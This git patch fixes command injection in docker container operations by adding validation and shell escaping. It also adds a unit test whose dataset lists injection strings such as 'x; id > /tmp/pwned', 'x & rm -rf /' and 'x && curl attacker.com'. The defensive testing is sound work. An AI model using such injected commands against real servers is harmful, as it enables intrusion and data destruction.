From ae31111813b0b5cbf3e148dd0b6975c046947110 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 25 Mar 2026 20:42:00 +0100 Subject: [PATCH] fix(livewire): add input validation to unmanaged container operations Add container name validation and shell argument escaping to startUnmanaged, stopUnmanaged, restartUnmanaged, and restartContainer methods, consistent with existing patterns used elsewhere in the codebase. Co-Authored-By: Claude Opus 4.6 --- app/Livewire/Server/Resources.php | 16 +++++++++++ app/Models/Server.php | 14 ++++++---- ...UnmanagedContainerCommandInjectionTest.php | 28 +++++++++++++++++++ 3 files changed, 52 insertions(+), 6 deletions(-) create mode 100644 tests/Unit/UnmanagedContainerCommandInjectionTest.php diff --git a/app/Livewire/Server/Resources.php b/app/Livewire/Server/Resources.php index a21b0372b..3710064dc 100644 --- a/app/Livewire/Server/Resources.php +++ b/app/Livewire/Server/Resources.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server; use App\Models\Server; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -29,6 +30,11 @@ public function getListeners() public function startUnmanaged($id) { + if (! ValidationPatterns::isValidContainerName($id)) { + $this->dispatch('error', 'Invalid container identifier.'); + + return; + } $this->server->startUnmanaged($id); $this->dispatch('success', 'Container started.'); $this->loadUnmanagedContainers(); @@ -36,6 +42,11 @@ public function startUnmanaged($id) public function restartUnmanaged($id) { + if (! ValidationPatterns::isValidContainerName($id)) { + $this->dispatch('error', 'Invalid container identifier.'); + + return; + } $this->server->restartUnmanaged($id); $this->dispatch('success', 'Container restarted.'); $this->loadUnmanagedContainers(); @@ -43,6 +54,11 @@ public function restartUnmanaged($id) public function stopUnmanaged($id) { + if (! ValidationPatterns::isValidContainerName($id)) { + $this->dispatch('error', 'Invalid container identifier.'); + + return; + } $this->server->stopUnmanaged($id); $this->dispatch('success', 'Container stopped.'); $this->loadUnmanagedContainers(); diff --git a/app/Models/Server.php b/app/Models/Server.php index ce877bd20..9237763c8 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -11,7 +11,9 @@ use App\Events\ServerReachabilityChanged; use App\Helpers\SslHelper; use App\Jobs\CheckAndStartSentinelJob; +use App\Jobs\CheckTraefikVersionForServerJob; use App\Jobs\RegenerateSslCertJob; +use App\Livewire\Server\Proxy; use App\Notifications\Server\Reachable; use App\Notifications\Server\Unreachable; use App\Services\ConfigurationRepository; @@ -77,8 +79,8 @@ * - Traefik image uses the 'latest' tag (no fixed version tracking) * - No Traefik version detected on the server * - * @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated - * @see \App\Livewire\Server\Proxy Where this data is read and displayed + * @see CheckTraefikVersionForServerJob Where this data is populated + * @see Proxy Where this data is read and displayed */ #[OA\Schema( description: 'Server model', @@ -719,17 +721,17 @@ public function definedResources() public function stopUnmanaged($id) { - return instant_remote_process(["docker stop -t 0 $id"], $this); + return instant_remote_process(['docker stop -t 0 '.escapeshellarg($id)], $this); } public function restartUnmanaged($id) { - return instant_remote_process(["docker restart $id"], $this); + return instant_remote_process(['docker restart '.escapeshellarg($id)], $this); } public function startUnmanaged($id) { - return instant_remote_process(["docker start $id"], $this); + return instant_remote_process(['docker start '.escapeshellarg($id)], $this); } public function getContainers() @@ -1460,7 +1462,7 @@ public function url() public function restartContainer(string $containerName) { - return instant_remote_process(['docker restart '.$containerName], $this, false); + return instant_remote_process(['docker restart '.escapeshellarg($containerName)], $this, false); } public function changeProxy(string $proxyType, bool $async = true) diff --git a/tests/Unit/UnmanagedContainerCommandInjectionTest.php b/tests/Unit/UnmanagedContainerCommandInjectionTest.php new file mode 100644 index 000000000..cf3e5ebea --- /dev/null +++ b/tests/Unit/UnmanagedContainerCommandInjectionTest.php @@ -0,0 +1,28 @@ +toBeFalse(); +})->with([ + 'semicolon injection' => 'x; id > /tmp/pwned', + 'pipe injection' => 'x | cat /etc/passwd', + 'command substitution backtick' => 'x`whoami`', + 'command substitution dollar' => 'x$(whoami)', + 'ampersand background' => 'x & rm -rf /', + 'double ampersand' => 'x && curl attacker.com', + 'newline injection' => "x\nid", + 'space injection' => 'x id', + 'redirect output' => 'x > /tmp/pwned', + 'redirect input' => 'x < /etc/passwd', +]); + +it('accepts valid Docker container IDs', function (string $id) { + expect(ValidationPatterns::isValidContainerName($id))->toBeTrue(); +})->with([ + 'short hex id' => 'abc123def456', + 'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2', + 'container name' => 'my-container', + 'name with dots' => 'my.container.name', + 'name with underscores' => 'my_container_name', +]);